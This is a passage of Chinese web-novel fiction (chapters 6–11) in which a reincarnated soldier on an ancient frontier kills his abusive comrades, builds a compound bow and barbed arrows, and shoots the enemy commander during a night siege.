《边关兵王:从领娶罪女开始崛起》 第6章 反杀刘武 “咻……” 就在那支箭即将射中凌川的刹那,他猛然一个转身,那支箭几乎是擦着胸口的皮甲而过。 “唰……” 凌川顺手拔出腰间战刀,刘武只感觉一道寒芒斩落而下,紧接着,他手中的角弓便径直朝着地面掉落。 与之一起掉落的,还有他的一条手臂。 鲜红的血液洒在雪地上,无比妖艳。 “啊!”刘武一声惨叫,捂着断臂连连后退。 而此时,凌川已经来到他跟前,毕竟双方也就不到十步的距离,几乎是眨眼即至。 “给我宰了他!”刘武暴喝一声,周豪与王恩果断拔刀朝着凌川砍来。 凌川一脚踢在王恩的胸口,使其连连后退,摔倒在地。 随即横刀挡住了周豪砍下来的战刀。 “当……” 伴随着一道金铁交鸣之声,两把战刀撞出一连串的火花。 周豪还没反应过来,只见两根手指在瞳孔中迅速放大,宛如两根尖刺径直插向他的眼球。 “嗤嗤……” “啊……”周豪丢掉战刀,捂着双眼惨叫不止,可鲜血依旧从指缝中渗出。 然而,凌川并无停手的意思,手中战刀直接划过他的脖子。 周豪的叫声戛然而止,身体缓缓倒在地上,可凌川却看都没看一眼,直接朝着不远处的王恩走去。 脚踩雪地的咯吱声,宛如恶魔在啃食骨髓,让他浑身冰凉,头皮发麻。 “别,别杀我……” 王恩不断后退,连连求饶。 凌川不为所动,继续朝他走去。 “凌二……凌川兄弟,我以前欺负你都是被刘武逼的,我求求你别杀我,我以后都听你的!”王恩不断求饶,后心更是被冷汗湿透。 “放过你也行,杀了他!”凌川声音冷漠,用战刀指向不远处的刘武。 王恩看向刘武,眼底明显带着畏惧,毕竟,刘武作为伍长,长期建立的威信还在。 可当他再次感受到凌川身上散发出的杀意,以及躺在不远处已经失去生机的周豪之后,也只能咬牙站起来,朝着刘武走去。 “王恩,你想干什么?” 此时的刘武面色苍白,面前的雪地已经被染成鲜红,见王恩面带杀意朝着自己走来,颤声呵斥道。 “伍长,人不为己天诛地灭,对不住了!”王恩目露凶光,紧握着战刀走向刘武。 这些年,他们都被刘武强过军功,只是忌惮他才甘愿给他当狗,此时,王恩积累多年的怨气也都彻底释放出来。 刘武见状不妙,转身就要跑,凌川见状,手中战刀猛然掷出,直接贯穿他的一条小腿,刘武一个趔趄,直接扑倒在地。 王恩此时也扑了上去,手中战刀狠狠刺进刘武的后心。 “去死吧!” 王恩大吼一声,接连刺出几刀,直到刘武彻底失去生机。 杀掉刘武之后,王恩也虚弱地坐在雪地里,目光呆滞,双手颤抖。 按大周军律,同袍相残,那可是死罪。 他不傻,自然明白,凌川之所以让自己动手杀了刘武,就是要把自己拉上船。 而他现在担心是的,凌川会不会过河拆桥,毕竟没有什么比死人最可信。 “噗……” 就在这时,一支铁箭飞射而来,直接贯穿了王恩的眉心,王恩闷哼一声,仰面倒地,不断抽搐。 凌川顿时一惊,他来不及思考,直接朝着一旁闪开,只见一支铁箭射在他刚才的立足之处,要是凌川反应慢半拍,这支铁箭射穿的就是他的身体。 敌袭! 凌川的脑海中第一时间闪出这个念头。 凌川迅速找到一个掩体,同时,依靠自己前世的经验寻找敌人的位置,从刚才那两支箭来判断,至少有两名敌人,而且,对方使用的还不是胡羯士兵常用的箭镞。 很快,凌川便根据射向自己那支箭的轨迹锁定了一名敌人,但,此时他不敢乱动,因为对方肯定在等着他现身。 “嗡!” 弓弦颤动的声音从另一个方向传来,凌川就地一滚避开了这一箭,同时顺手捡起刘武留下的那把弓箭,又以迅雷不及掩耳之势拿走刘武留下的箭壶。 凌川找到新的掩体之后,迅速弯弓搭箭,对着之前锁定的位置射去。 前世的凌川有过弓弩训练,但所用的都是复合弓,这种角弓用起来很不顺手,再加上对方隐蔽得很好,以至于凌川连射几箭都未能射中敌人。 反倒是自己没有很好的掩体,对方好几次都差点射中他,要不是自己身手敏捷,此时恐怕已经跟王恩一样,变成一具尸体了。 忽然,凌川猛然起身,朝着最近的那名隐藏在一块大石头后面的敌人冲去。 石头后方,那名金发碧眼的男子见凌川朝着自己冲来,嘴角露出一抹阴冷的笑容,果断放箭,凌川一个闪身避开这一箭,不等对方再次搭箭,便已经冲到跟前。 后者也果断拔出弯刀朝着凌川迎了上来。 结果,他刚一冒头,一个雪球径直砸向他的面门。 男子顿时一惊,出于本能地劈刀斩下,雪球应声爆开。 与此同时,凌川一跃而起,手中战刀横扫而过,将其脖子划开,鲜血如泉涌一般,男子那双碧瞳之中写满了惊骇与不甘,缓缓倒下。 而就在此时,另外两道身影一左一右朝着凌川杀来。 凌川冷笑一声,若是他们一直靠弓箭压制自己,还真是有点麻烦,可他们竟然选择近身战斗,那等同于找死。 只见凌川手中战刀一横,直接扑向一人,双方一见面便对拼三刀,随后一记撩阴脚将其踹飞。 那胡羯男子面色扭曲之色,痛苦地夹紧双腿,眼底更是闪过一抹惊骇之色。 因为,一直以来,无论是单兵对抗还是团体作战,胡羯都占据绝对的上风,每次交战,大周的战损比都是胡羯的五倍以上,不仅是因为胡羯人擅骑射,是天生的战士,更因为他们民风彪悍身形普遍比周人魁梧。 然而,眼前这少年所表现出来的实力,却让他极为震惊,特别是那双眼神,令人心悸。 凌川丝毫不给他喘息之机,再次欺身而上,趁着对方吃痛,一刀穿透皮甲,刺进他的胸口。 几个呼吸间,凌川便干掉两人,剩下那名胡羯人当场被吓傻,他简直不敢相信,周人军中还有这么彪悍的军卒,而且,这少年看起来不过十五六岁的年纪,可出手却像是身经百战的悍卒老兵。 第7章 击杀胡羯斥候! 凌川捡起地上的弓箭,对着那人的背影射去。 “噗……” 这一次箭镞直接穿透那人后心的皮甲,那名胡羯人扑倒在雪地里,他努力爬起来还想跑,可凌川却已经追了上来,再次将其扑倒。 “去死!” 只听咔嚓一声响,凌川直接抱着他的脑袋,扭断了他的脖子。 解决掉三名敌人之后,凌川大口喘气,相比起前世,这具身体还是太弱了,虽然长期在边关摸爬滚打,可营养却严重跟不上。 此后,凌川又查看了一下周围的情况,确定没有其他敌人之后,他才放下心来。 这场遭遇战,对于凌川来说,未必全是坏事,因为这样他便可以名正言顺地将刘武等人的死推到胡羯人身上,尽管他一开始也是这样想的,但如此一来,定然会更逼真。 不过凌川也很疑惑,按理说这个季节胡羯人不应该出现在狼烽口一带才对,莫非他们准备趁着年关时节狼烽口守卫松懈,冒着大雪发起进攻? 凌川割掉这三名胡羯人的脑袋,顺便将他们的弓箭和战刀都收了起来,带回狼烽口。 天色渐晚,狼烽口宛如一头巨兽,匍匐在漠北的风雪中,遥望北方。 浑身是血的凌川拎着三颗人头回到狼烽口,顿时引发了轰动。 所有士卒闻讯赶来,就连校尉陈暻垚也被惊动。 “凌川,怎么回事?”陈暻垚看着他用拎在手中那三颗人头,惊愕问道。 “巡边的时候,遇到胡羯人的斥候了!” 陈暻垚闻言,顿时一惊,连忙追问道:“这三名敌人都是你杀的?” 凌川摇了摇头,说道:“我只杀了一个,另外两个是伍长和周豪他们杀的!” “他们人呢?” “都死了!”凌川面色沉重,语气中带着几分悲伤。 “啊……” 现场顿时一片哗然,就在这时,凌川忽然昏了过去,好在陈暻垚一把将他扶住。 “传令,全军备战,加大兵力巡查边关!” “是!” 凌川被抬进校尉营,很快,军医老宋头便赶了过来,对着凌川检查了一番之后发现,他虽然浑身是血,却只有几处轻微的皮外伤。 “他只是严重脱力,并无大碍,修养一下就好了!”老宋头对陈暻垚说道。 凌川自然是装的,其目的也是为了演得更逼真一些。 一个时辰之后,陈暻垚的亲兵来报,“启禀校尉,刘武三人的尸体带回来了!” “带我去看看!” 听到这话,装睡的凌川心头一紧,因为他意识到一个严重的问题,以陈暻垚的经验,肯定能从刘武和周豪身上的伤口看出一些蛛丝马迹。 凌川缓缓睁开眼,结果,他发现陈暻垚就站在不远处,一双虎目死死盯着他。 凌川只感觉脑袋嗡的一声响,他自认为已经做得足够逼真,没想到却被对方给摆了一道。 但他实在想不通,陈暻垚还没看到刘武与周豪的尸体,为何就会怀疑自己。 “属下见过校尉大人!”凌川装作一副虚弱的样子。 “好了,这里只有你我,就不要再装了!”陈暻垚淡淡说道。 随即,他迈步来到凌川跟前,说道:“你小子可以啊,不仅反杀了刘武等人,还以一己之力干掉了三名胡羯斥候,你说我是该处置你呢,还是该奖赏你啊?” 听到这话,凌川知道已经没有装下去的必要了,索性摊牌,不过他并没有回答陈暻垚的问题,而是反问道: “校尉大人是如何得知的?” 陈暻垚笑道:“昨日,你得罪了刘武,以他睚眦必报的性格,肯定会在今日巡边途中对你下手,所以我便派人暗中跟着!” 凌川恍然大悟,难怪他都不看尸体,便一口道出那么多细节,原来,自己回来之前他便已经得知了所有情况。 “多谢校尉大人!”凌川主动行礼,感激道。 陈暻垚到了两碗酒,其中一碗递给凌川,北疆的冬天,基本都靠饮酒取暖。 “你不用谢我,我是看在小璃的份上才照顾你的,只是没想到你小子竟然深藏不露,一口气干掉三名胡羯斥候,自己却毫发无损!” 凌川喝了一口米酒,这酒浑浊且度数不高,跟前世的白酒完全没有可比性。 “你难道不知道,同袍相残那可是军中大忌,按大周军律我完全可以将你就地正法!”陈暻垚看着凌川,又问道。 “我不杀他们,他们就要杀我,为了活命,我别无选择!”紧接着,凌川抬起目光看着陈暻垚,继续道:“更何况,若是校尉真要处置我,我回营的时候就已经被拿下了!” 陈暻垚眼神之中闪过一抹诧异之色,没想到凌川小小年纪,心思竟然如此缜密。 这次如果不是自己派人跟着,或许还真会被他蒙混过关。 只见他重重放下酒碗,正色道:“凌川,你给我听着,刘武三人是死于胡羯人之手,我会让人上报战功,连同抚恤银一起送到他家人手中!” “刘武虽然不成才,但他姐夫却是一名实打实的参军,他得知刘武战死,肯定会派人来调查,你要做好心理准备,要是说漏嘴了,咱们都得掉脑袋!” 显然,陈暻垚已经决定要把凌川给保下来了,不仅仅是因为苏璃的关系,更因为他今日所表现出的智慧与能力。 凌川点头答应:“大人放心,我心里有数!” 陈暻垚又给各自倒了一碗酒,说道:“小璃是大将军留下的唯一血脉,你一定要好好待她!一会去领取赏银,买置办些家用吧!请功得迟些才能到。” 按照大周军律,杀敌一人可擢伍长,三人可擢什长,十人可擢标长,虽然凌川杀了三人,但只能报一人,不然定会露馅。 就在这时,一道身影推门而入。 “凌郎!”苏璃满脸的担忧之色,见到凌川没事,她顿时长舒了一口气。 陈暻垚见状,笑道:“哈哈,你们还真是鹣鲽情深啊!” “大人恕罪,小女子无意冒犯!”苏璃连忙行礼。 陈暻垚摆了摆手,说道:“这里没有外人,无需多礼!” 事实上,是陈暻垚跟凌川谈话之前,已经将亲兵给支走了,要不然苏璃不可能进得来。 “好了,带着媳妇去领赏银吧!” 凌川领到十两银子,随后便与苏璃一道来到市集。 第8章 风雪,火锅,佳人! 狼烽口虽然地处边关,但,除了这一营守军之外,还有不少原住民,在关内形成一个规模不小的市集。 十两银子,已经足够买很多东西了。 凌川一口气将锅碗瓢盆、柴米油盐买齐,如今两人有了小家,肯定是要在家里开火,此外,还买了些家庭常用物资。 最后,来到一家首饰店给苏璃选了一把牛角梳,足足用了三百钱。 “哟!小川子,你这媳妇可真俊呢,头发又长又直,这牛角梳太合适了!”老板是一名中年男子,与凌川是熟识,事实上,这里集市上的商贩跟边军都很熟。 “凌郎,咱们以后花钱的地方还多,银子得省着点。”苏璃小声说道。 她虽出生名门豪族,但并非那种生性奢侈之人,如今与凌川结为夫妻,更要懂得精打细算。 凌川捋了捋她额前的头发,笑道:“银子本来就是挣给娘子花的,以后我会立更多战功,挣更多银子!” 回到家中,凌川亲自下厨,用牛油、辣椒、花椒以及各种香料熬了一锅红汤。 “凌郎,这是什么吃法?我为何从未见过?”苏璃好奇地问道。 “这叫火锅,是我在一本奇闻录中看到的吃法!”凌川笑着回应道,他并没打算将自己穿越的事情告诉苏璃,并非不信任,而是太过于离奇,就算说了,估计也不会有人信。 “哇!好香啊!”不一会,锅里便散发出浓郁香味,令人食指大动。 很快,凌川将准备好的牛肉,粉条以及各种菜都放了进去,当一大锅火锅端上桌的时候,饶是苏璃也忍不住吞口水。 “好了,快吃吧!” 苏璃第一次吃火锅,显然适应不了辣,不一会,嘴唇和小脸都辣得通红,煞是迷人。 可尽管如此,也阻挡不了她对火锅的热爱,“凌郎,这火锅实在是太好吃了,我从没吃过这么好吃的东西!” “喜欢吃我以后经常给你做!”凌川给她夹了一大块牛肉,说道。 苏璃内心充满了感动,“凌郎,你对我实在是太好了!” 两个苦命的人,阴差阳错走到一起,他成了她的一束光,而她成了他的一颗糖。 吃过晚饭之后,苏璃开始收拾碗筷,而凌川则是继续捣鼓他的复合弓。 当他将复合弓组装完毕,拉上弓弦便迫不及待地想要试试效果。 看着这把造型怪异的弓,苏璃满脑子疑惑,不过看凌川一脸的自信,她也有些期待这把弓到底有多大威力。 随着凌川拉动弓弦,两端的偏心轮在弓弦带动下缓缓转动,凌川几乎是没费多大力气,便将其拉至满弦。 这也是复合弓的一大优点,相比起传统弓越拉到后面越费力,而且,满弦状态下,瞄准目标的准度将大大提升,复合弓却用两个偏心轮巧妙消除了这一弊端,满弦状态下两个偏心轮有效锁住力量,不仅大大降低了瞄准目标的难度,而且,还能将力量储存在两个轮子中,松开弓弦的刹那,所有的力量瞬间爆发,射程和杀伤力将成倍增长。 “嗡!” 一声颤鸣,随着弓弦松开,那支羽箭飞射而出,深深插入院子里一尺多厚的土墙中。 这一幕,让苏璃震惊地捂住嘴巴,许久说不出话来。 要知道,这一尺多厚的土墙可不是一般的夯土,而是相比铁甲也不遑多让的冻土,普通弓箭根本钉不进去,哪怕是铁胎弓,也最多只能没入三四寸,而现在,整支羽箭直接没入了一半,近乎将整堵墙穿透,实在是匪夷所思。 “这,这世上怎么会有如此厉害的弓?”苏璃不可置信地喃喃道。 事实上,凌川也没想到,自己第一次做就能成功,毕竟,这东西是自己根据记忆纯手工打造的,有没有精加工设备,若非他前世对复合弓很熟悉,也很难成功。 不过,他也发现了其中的缺点,那就是准度还需要进一步改善。 而且,一般的羽箭根本承受不住复合弓的力量,需要换成铁箭才行。 晚上,凌川又对复合弓的很多细节进行了改造,次日一早,他便拿着昨日从那三名胡羯斥候手中缴获的几十支铁箭来到市集铁匠铺。 狼烽口的铠甲兵器都是由漠北大营军械司统一打造发放,但,日常修补,却只能找狼烽口市集的铁匠铺代劳。 杨铁匠世代打铁为生,手艺不错,不过性格乖张,很多人想找他打一件兵器,却都遭遇碰壁。 这似乎是手艺人的一个通病,而且,手艺越好的脾气越大。 简陋的铁匠铺中烧着熊熊炭火,与街道上的积雪形成鲜明对比。 杨铁匠正在喝酒,这是他唯一的爱好。 凌川走进铁匠铺,将途中买的一坛酒放在他面前。 “听说你小子,昨天杀了一个胡贼?”杨铁匠瞥了他一眼,淡淡问道。 凌川点头笑道:“运气好而已!” 老头冷笑一声:“战场上,从没有运气一说!” “我想请你帮我改造一批箭镞!”凌川取下身后的箭壶,里面有三十余支铁箭,皆是昨日缴获所得。 “胡羯人的铁箭?”杨铁匠拿起一支铁箭,对着箭镞打量了一番后,问道:“你想怎么改?” 胡羯本是草原部落起家,铁器稀缺,冶炼技术也十分落后,这些年,他们频频侵扰北疆边关,每次破城之后,都大肆掠夺财物,而铁器以及锻铁匠人更是他们劫掠的重点对象。 要不然,以胡羯人的技术,根本打造不出如此精致的铁箭来。 “看在你干掉一名胡羯斥候的份上,我就帮你改改,说吧你想怎么改?”杨铁匠问道。 凌川拿起一块木炭,划出一个三棱形状的箭镞,并补充道:“箭镞的三道棱锋要等分,锋线笔直无曲,不然射出去会发生偏移,而且,还得给要做出三个倒钩,这样,中箭之后拔出来,会造成二次伤害!” 杨铁匠看着凌川画出的这种连自己都没见过的箭镞,神色逐渐凝重起来。 “这箭镞是谁教你的?”杨铁匠眼神中带着几分惊愕,问道。 “我自己琢磨的!” 杨铁匠也没追问,此时的他就连最爱的酒都觉得无味,必须尽快将这箭镞改造出来。 凭着一名老铁匠的眼力,他自然能看出,凌川琢磨出的这种箭镞无论是稳定性还是杀伤力,都非比寻常。 世代打铁为生的他,心里比谁都清楚,最难打的兵器并非是刀枪剑戟、也不是铠甲重盾,而是那不起眼的箭镞。 小小一枚箭镞,不仅需要将坚固和锋利完美结合,更需要考虑重量和形状比例,差之毫厘,射出去就会差之千里。 “天黑之前来拿!”丢下这句话,杨铁匠便不再搭理凌川,撸起袖子,将一根根铁箭放入通红的炉中。 第9章 雪夜敌袭! 回到家中,凌川又帮苏璃检查了伤口,通过那天的消毒和敷药,如今伤口已经好多了,不过,想要痊愈还得几日才行。 看来,得去找老宋头要些金创药! 这个念头一出现在脑海,凌川顿时一喜,要说治疗外伤的金创药,还有什么比得上前世的云南白药? 要知道,云南白药的配方,就算是放在前世,那都是国家绝密。 而自己身为特种兵王,经常执行一些高危任务,才有机会接触到这个配方,以便于危急关头救命。 事实上,云南白药的配方大多数都是常见的草药,只不过对于制作方法和流程非常讲究。 凌川找到老宋头,拿到所需药物之后,便回到家中将其捣碎磨成粉,又按照记忆中的制作方法进行配制。 “凌郎,你这又是在做什么?”苏璃好奇地问道。 “我在做一种金创药!”凌川笑着回答道:“有了它,你的伤几天就能好了!” “真的吗?想不到凌郎还懂医术!”在见识过复合弓的威力之后,苏璃对于凌川充满了好奇与信任。 忙活了一下午,凌川终于将药粉做好,他将其轻轻洒在苏璃的伤口上,然后又包扎了起来。 “感觉怎么样?”凌川看着苏璃问道。 “这药粉好香啊!感觉伤口热热的!”苏璃回答道。 “那就对了!”从苏璃的描述来看,自己制作的药粉与前世的云南白药大致吻合。 看天快黑了,凌川来到市集上的铁匠铺,不得不说,杨铁匠的手艺不错,三十多支箭簇已经全部改造完毕,每一支箭簇的三条矢锋都磨得异常锋利,三条血槽能大幅度增加伤害,且按照他的要求,改造出了三根倒钩。 “怎么样?”杨铁匠一脸自傲地问道。 “杨师傅的手艺,自然是没得说,我很满意!”虽然比不上前世的合金箭簇,但能用传统工艺做到如此精致,已经十分难得了。 “我老杨家祖传的手艺,还用你说?”老杨一脸得意,紧接着,长叹一声,伤感道:“只可惜,这门手艺,到我这一辈就要失传了!” 凌川知道,他的儿子也是边军,几年前就战死在这狼烽口。 只见他往嘴里灌了一碗酒,说道:“使这铁箭,至少需要三石弓,你这小身板能拉开三石弓?” “我自己做了一把弓,轻松就能把这铁箭射出两三百步!” 杨铁匠白了他一眼:“再吹下去,牛见了你都得绕着走!” 凌川笑了笑,并未与之争辩,问道:“多少银子?” 杨铁匠摆了摆手,说道:“银子就算了,争取多杀点胡贼!” “那就当我欠你一壶好酒!” “这狼烽口的酒都跟白水差不多,哪有什么好酒?”杨铁匠嗤之以鼻。 回到家中,凌川迫不及待地拿出复合弓进行测试,这一次,铁箭直接将一尺多厚的土墙穿透,让凌川大为惊讶。 “凌郎……”苏璃来到身边,眼神中带着几分羞涩。 “怎么了?” “夜深了,该就寝了!” 说完这句话,她一张脸更是直接埋进了胸前。 躺在床上,凌川心跳加速,虽说两世为人,可悲催的是,自己还是个处男。 苏璃将头贴在他的胸口,同样以上紧张。 “凌郎,你是不是不喜欢人家?” “哪,哪有,你别胡说!” “那你为何还不要了人家!”苏璃抬起目光,就这么近距离地看着凌川的眼睛。 四目相对,凌川的目光无处躲闪。 如果说,之前是不想趁人之危,那么,现在人家都主动了,你还有什么借口来逃避? “凌郎,快,要了我!” 这话无异于干柴烈火之下的导火索,瞬间将凌川内心那头野兽唤醒。 只见他一个翻身将苏璃压在身下。 苏璃见他气喘如牛,也娇羞地闭上了眼睛。 “呜呜……” 就在这时,低沉的号角声自城楼方向传来,凌川浑身神经一紧,他很清楚这号角声意味着什么。 敌袭! 凌川一个翻身,迅速穿好皮甲,并对苏璃说道:“有敌袭,你待在家里不要出门!” “你要小心!”苏璃面露担忧。 凌川笑着点头,示意她放心,随即拿起战刀,将复合弓和箭壶也跨上,火速赶了过去。 营地和城关相隔并不远,凌川一路上看到不少军卒也都在朝着那边赶。 狼烽口作为边城要塞的重要关卡,一直都是胡羯人进攻的首选之一,守城的分工也是十分明确。 如今,凌川这一伍只剩下他跟吴德两人,吴德在养伤,就只剩下他一人。 所有人都十分熟练地将石头、滚木等守城物资搬上城墙,而陈暻垚则是迅速对五名标长分派守城任务。 狼烽口一共就五百人的一营兵力,每个标长统领一百人。 不到一盏茶的时间,狼烽口外的雪原之上,便出现一大片黑影,迅速朝着这边靠近,看规模,至少有一千人。 对于这种情况,狼烽口的边军已经是习以为常,并没有太多紧张。 狼烽口作为直通中原的门户要塞,一直都是胡羯大军的重点进攻目标,虽依靠险要地势挡住了胡羯大军的连番进攻,但也同样付出了惨重的代价。 这些年来,不知道有多少边军将士战死在狼烽口,在城内的一座矮山上,布满了密密麻麻的小土堆,那时战死军卒的坟墓,可大多数坟墓连墓碑都没有。 胡羯人身形魁梧善骑射,而且,他们的弓箭射程远比周军的要强得多。 “轰隆隆……” 随着那片黑影逼近,沉重的马蹄声令本就算不得雄伟的狼烽口微微颤抖。 终于,敌军兵临城下,借助月光和白雪,只见一名骑着高头大马的魁梧壮汉驭马上前。 “陈暻垚,见到你家爷爷,还不赶紧开门投降?”壮汉手持一杆长枪遥指城楼,大声喝道。 陈暻垚目光一沉,来人不是别人,正是他的死对头穆尔扎。 此人乃是胡羯南征主帅拓跋桀麾下七大战将之一,此人狠辣残暴、勇猛过人,这些年多次帅军攻打狼烽口,双手沾满了边军将士和大周百姓的鲜血。 其手下有五百骑兵和八百步卒,十分勇猛。 “穆尔扎,你我交手这么多次,你难道不知道,我大周将士只有战死的,没有投降的吗?”陈暻垚沉声回应道。 “哈哈哈哈……”穆尔扎仰天大笑,“曾经的大周确实很强,奈何,如今的大周已经烂到骨子里,你扪心自问,帝都龙椅上那位天子以及满朝贵胄,何时在乎过你们的死活?” 陈暻垚神色凝重,他知道,对方是试图以这种方式攻心,但他也不得不承认对方所言非虚。 但,作为一名将领,守护边疆国门是他的职责,哪怕为此付出生命。 第10章 三箭退敌! “穆尔扎,你觉得,这种雕虫小技对我有用吗?”陈暻垚冷笑道。 “咻……” 忽然,一道破空声传来,一支铁箭划破夜空,直奔陈暻垚而来。 “唰!” 陈暻垚猛然拔出腰间战刀,一道寒芒闪过,将那支铁箭直接斩断。 陈暻垚顿时一惊,他知道胡羯人善骑射,但这么远的距离,自己还站在城楼上,却还有人能射这么远,看来,穆尔扎手下有神箭手。 同时,他也明白,穆尔扎刚才与自己对话,竟是要锁定自己的位置,好让身后队伍中的神箭手对自己实施斩首。 几名亲兵迅速围上来,挡在陈暻垚跟前。 可就在这时,又是几道破空声接连响起,紧接着,城墙之上响起几声惨叫。 凌川不远处,一道身影猛然栽倒,赫然是标长老马。 凌川快步冲上去扶着他,只见那支铁箭已经贯穿了他的咽喉,血流如注。 “老马!”凌川焦急喊道。 老马满脸痛苦,双手死死抓着凌川的手臂,想要说什么,却只能发出‘嚯嚯’的声音。 凌川能够清楚地感知到他的生命正在快速流逝,直至那双眼睛彻底失去色彩,抓着自己的双手也无力垂下。 “陈暻垚,你看到没,爷爷我随时可以取你狗命!”穆尔扎的嘲讽在寒风中异常刺耳。 “欺人太甚!”一名标长大喝一声,随即便命人放箭。 然而,这一轮抛射下来,所有羽箭全部在穆尔扎身前三十步的位置落下。 凌川也果断取下自己的复合弓,弯弓搭箭,瞄准了敌阵前方的穆尔扎。 “嗡!” 一道弓弦颤动的声音响起,只见一支铁箭飞射而下,直奔穆尔扎而去。 “噗……” 穆尔扎只感觉胸口一痛,低头一看,一支铁箭穿透了自己的铁甲,没入身体之中。 他一脸不可思议地看着前方,要知道,自己距离狼烽口城楼足有两百多步,这个距离,周军的弓箭根本达不到,更何况自己还身穿铁甲,就算是铁胎弓能射这么远,也已经是强弩之末,根本破不开自己的铁甲。 这也是自己为何敢在阵前挑衅,无视对方在城墙上放箭的原因。 然而,他做梦也想不到,竟然有人能在两百五十步之外,一箭射穿自己的铠甲。 穆尔扎从马背上栽倒在雪地之中,他感觉无尽的黑暗朝着自己席卷而来…… 城墙之上,无论是校尉陈暻垚,还是几名标长乃至普通士卒,皆是一脸的不可思议。 他们简直不敢相信,竟然有人在这么远的距离射杀了敌军主将穆尔扎。 “好样的!”陈暻垚一拍巴掌,激动大喊道。 紧接着,城墙之上响起了阵阵欢呼,呼声如浪潮,席卷整个狼烽口。 这一突变让胡羯大军瞬间慌乱,几名穆尔扎的亲兵冲上来,将其扶起来退了回去,却发现,穆尔扎已经气绝。 作为始作俑者的凌川,为了防止那一箭落空,在射出那一箭之后,便立马取出第二支铁箭,拉满弓弦。 就在这时,他注意到,敌军阵营前方,一名身材高大的黝黑汉子手持一张大弓,再次朝着这边拉动弓弦。 他那张弓比其他弓大了许多,凌川严重怀疑,之前对陈暻垚放箭和射杀标长老马的,都是此人。 凌川果断放箭,铁箭划破夜空直奔那射手而去。 然而,那人的反应异常敏捷,在察觉到危险的瞬间,迅速朝着一旁闪开,那支铁箭擦着他的脸颊飞过,在他黝黑的脸上划出一道血痕。 那人脸上写满了震惊与后怕,他不敢相信,周军之中,竟有如此恐怖的神射手。 若非自己刚才捕捉到了一丝破空之声,加之长期训练对于危险有着一种本能的直觉,此时的自己,已经是一具尸体了。 而就在此时,破空声再度传来,紧接着,一声脆响,胡羯阵营的旗杆应声而断,那面大旗直接掉落在地上。 将旗一倒,军心必乱! 如果说,凌川刚才射杀主将穆尔扎只有阵营前排的人看见,那么,此时将旗被射落是每一个人都看得清清楚楚。 这意味着什么,所有人心里都非常清楚。 “咚咚咚……” 狼烽口城墙上方传来了沉重的战鼓声。 所有军卒激动无比,两国交战以来,虽然狼烽口一直都是守方,但不得不承认,他们一直处于下风。 可就在刚才,有人一箭射杀了敌军主将,紧接着又是一箭射落敌军将旗。 如此振奋人心的事情,哪怕是亲眼所见,也令人难以置信。 很快,城下的胡羯大军便缓缓撤去,城墙之上呼声震天,连刺骨寒风似乎都缓和了许多。 “快去查,刚刚那三箭是何人所射!”陈暻垚看着胡羯军队撤退的放心,对着亲兵下令。 这不仅是他关心的问题,其他人也同样迫切想要知道。 很快,亲兵来报:“启禀校尉,刚刚查到,是甲标什长曹巡所射!” 陈暻垚点了点头,他大致已经猜到,毕竟狼烽口就五百兵卒,箭术好的就那么几个人,而曹巡便是最拔尖的几人之一。 就在这时,又一名亲兵来报:“启禀校尉,属下查到,是戊标的凌川所射!” “嗯?” 陈暻垚一愣,他没想到会查出两个人,更没想到会听到凌川的名字。 “荒唐,凌川是谁?竟敢冒领军功!”甲标标长曹正怒声喝道。 “把他们二人带来见我!”陈暻垚的脸色也十分难看,沉声说道。 很快,凌川与曹巡便被带到陈暻垚跟前。 “刚才那三箭是你们谁射的?”陈暻垚看着面前的二人,问道。 “启禀校尉,是属下所射!”曹巡抢先回应道。 凌川嘴角勾起一抹冷笑,抢占军功的事情并不少见,就如这些年,他的军功几乎都被刘武给抢走。 只是他没想到,这种军功还有人敢冒领。 凌川正要说话,甲标标长曹正便瞪了他一眼,说道:“凌川,你可要想清楚了再说话,冒领军功那可是要吃军棍的!” 凌川虽与曹巡不熟,但也曾听人说过,他是甲标标长曹正的儿子,担任什长。 现在看着情况,显然是这父子二人要强占自己的军功了。 “启禀校尉,那三箭是属下所射!”凌川不卑不亢地回答道。 这个回答,让陈暻垚都为之一愣,虽说前日凌川斩杀了三名胡羯斥候,但他以往并未在箭术上有过过人表现。 第11章 斩将夺旗! “凌川,你好大的胆子,当着校尉大人的面,你也敢冒认军功!”陈暻垚还没说话,曹正便率先指着凌川一顿呵斥。 曹巡不屑地瞥了凌川一眼,冷笑道:“呵呵,凌二狗,你还真是什么牛都敢吹啊,就凭你,能拉开三石弓吗?” 凌川正欲开口,陈暻垚开口道:“凌川,我再给你一次机会,如实交代,那三箭是不是你射出去的?” 凌川毫不畏惧地迎上陈暻垚的目标,字字铿锵:“确实是属下射的,如有半句虚言,甘愿受罚!” “笑话,你说是你射的,那你告诉我,你拿什么弓射的?”曹巡冷笑着问道。 “那你说说,你开的什么弓,用的是什么箭?”凌川反问道。 曹巡一脸得意取下自己的角弓,说道:“我开的是四石牛角弓,箭是桦木羽箭配柳叶镞!” 凌川嘴角勾起一抹笑意,随即取下自己的复合弓递给陈暻垚,说道:“校尉大人,属下所用的是这张自制破甲弓,所用的箭是特制的三棱箭镞,整个狼烽口,仅我一人使用!” 此言一出,曹巡眼底闪过一丝慌乱,不过,很快就被他掩饰了起来。 曹正瞥了一眼陈暻垚手中那把造型怪异的弓,不屑笑道:“你说这是你自己做的弓?” 凌川点头说:“不错!” “这弓除了花里胡哨之外,我实在是看不出有什么杀伤力,你是觉得校尉大人好糊弄吗?”曹正声音渐冷,目光凌厉。 “呵呵,校尉大人,恕我直言,这把弓别说是铁箭,就算是普通羽箭也很难射出百步之外!”曹巡也开口说道,作为狼烽口箭术最好的弓箭手之一,他的发言有足够分量。 陈暻垚没有理会这父子二人,而是拉动那松松垮垮的弓弦,上手感觉轻飘飘的,哪怕是拉至满弦,也没用多大力。 “箭!”陈暻垚向凌川伸出一只手。 凌川从箭壶之中抽出一支铁箭,递了过去。 陈暻垚上下打量着这支铁箭,箭镞部分与胡羯士兵所用的铁箭明显不同,显然是经过改造。 三棱锥形有利于破甲,三条血槽能加大敌人的出血量,而且,就算对方中箭不死,拔出箭镞的时候,也会被那三根倒刺钩下一大块肉来。 陈暻垚暗自点头,对凌川问道:“出自杨铁匠之手?” “属下前日巡边,从胡羯斥候身上缴获得来,请杨铁匠改造的!”凌川局势回答。 “来人,去请杨铁匠来!”陈暻垚直接对一名亲兵下令。 “是!”那名亲兵领命之后,迅速离去。 紧接着,陈暻垚又叫来两名亲兵,“你们去城外寻找这种铁箭!” “是!” 听到这话,曹巡内心不由得一紧。 因为,若是在城外寻到铁箭,再加上杨铁匠的证实,真相将彻底水落石出。 可他实在想不通,那把看上去松垮垮的木弓,怎么可能射到两百步之外,而且,还能破开铁甲。 